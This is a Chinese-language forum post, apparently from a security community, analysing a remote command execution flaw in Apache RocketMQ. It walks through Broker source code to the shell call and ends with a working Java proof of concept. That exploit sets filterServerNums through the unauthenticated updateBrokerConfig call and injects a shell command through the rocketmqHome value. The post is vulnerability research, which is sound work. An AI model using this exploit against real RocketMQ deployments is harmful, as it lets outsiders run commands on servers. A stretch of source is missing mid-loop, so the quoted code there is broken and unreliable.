RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6
this.brokerConfig.isEnableSlaveActingMaster() || this.brokerConfig.isEnableControllerMode()) {
isIsolated = true;
}
if (this.brokerOuterAPI != null) {
this.brokerOuterAPI.start();
}
//调用至startBasicService()
startBasicService();
if (!isIsolated && !this.messageStoreConfig.isEnableDLegerCommitLog() && !this.messageStoreConfig.isDuplicationEnable()) {
changeSpecialServiceStatus(this.brokerConfig.getBrokerId() == MixAll.MASTER_ID);
this.registerBrokerAll(true, false, true);
}
....
BrokerController#startBasicService()
protected void startBasicService() throws Exception {
...
if (this.filterServerManager != null) {
//调用至FilterServerManager#start()
this.filterServerManager.start();
}
if (this.brokerStatsManager != null) {
this.brokerStatsManager.start();
}
....
FilterServerManager#start()
public void start() {
//定时周期执行指定任务
//任务:FilterServerManager.this.createFilterServer();
//初始化延时:1000 * 5
//两次开始执行最小间隔时间:1000 * 30
//计时单位:TimeUnit.MILLISECONDS 毫秒
this.scheduledExecutorService.scheduleAtFixedRate(new AbstractBrokerRunnable(brokerController.getBrokerConfig()) {
<span class="label label-primary">@Override#CTL{n}</span> public void run0() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
public void createFilterServer() {
//filterServerNums默认为0
//filterServerTable.size() 默认为0
//more 默认为0
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
//获取cmd,此处cmd 部分可控
String cmd = this.buildStartCommand();
//more 默认为0不进入循环,若要执行cmd 则more 不为0,即通过配置修改使filterServerNums不为0
for (int i = 0; i OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}
private static String[] splitShellString(final String shellString) {
return shellString.split(" ");
}
}
综上:
1、系统默认30秒执行一次 FilterServerManager#createFilterServer()
2、FilterServerManager#createFilterServer()
中存在命令执行行为
3、可通过未授权修改配置控制要执行的命令,分为以下两种情况:
windows:start /b ${1}\\bin\\mqfiltersrv.exe -c ${2} -n ${3}
非windows:sh ${1}/bin/startfsrv.sh -c ${2} -n ${3}
1、2、3三出均可通过配置文件控制。
import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
public static void main(String[] args) {
// 创建 Properties 对象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty("rocketmqHome","-c $@|sh . echo open -a Calculator;");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
admin.setNamesrvAddr("localhost:9876");
admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
admin.updateBrokerConfig("127.0.0.1:10911", props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 300.00 | 0 | 2023-06-05 11:11:49 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.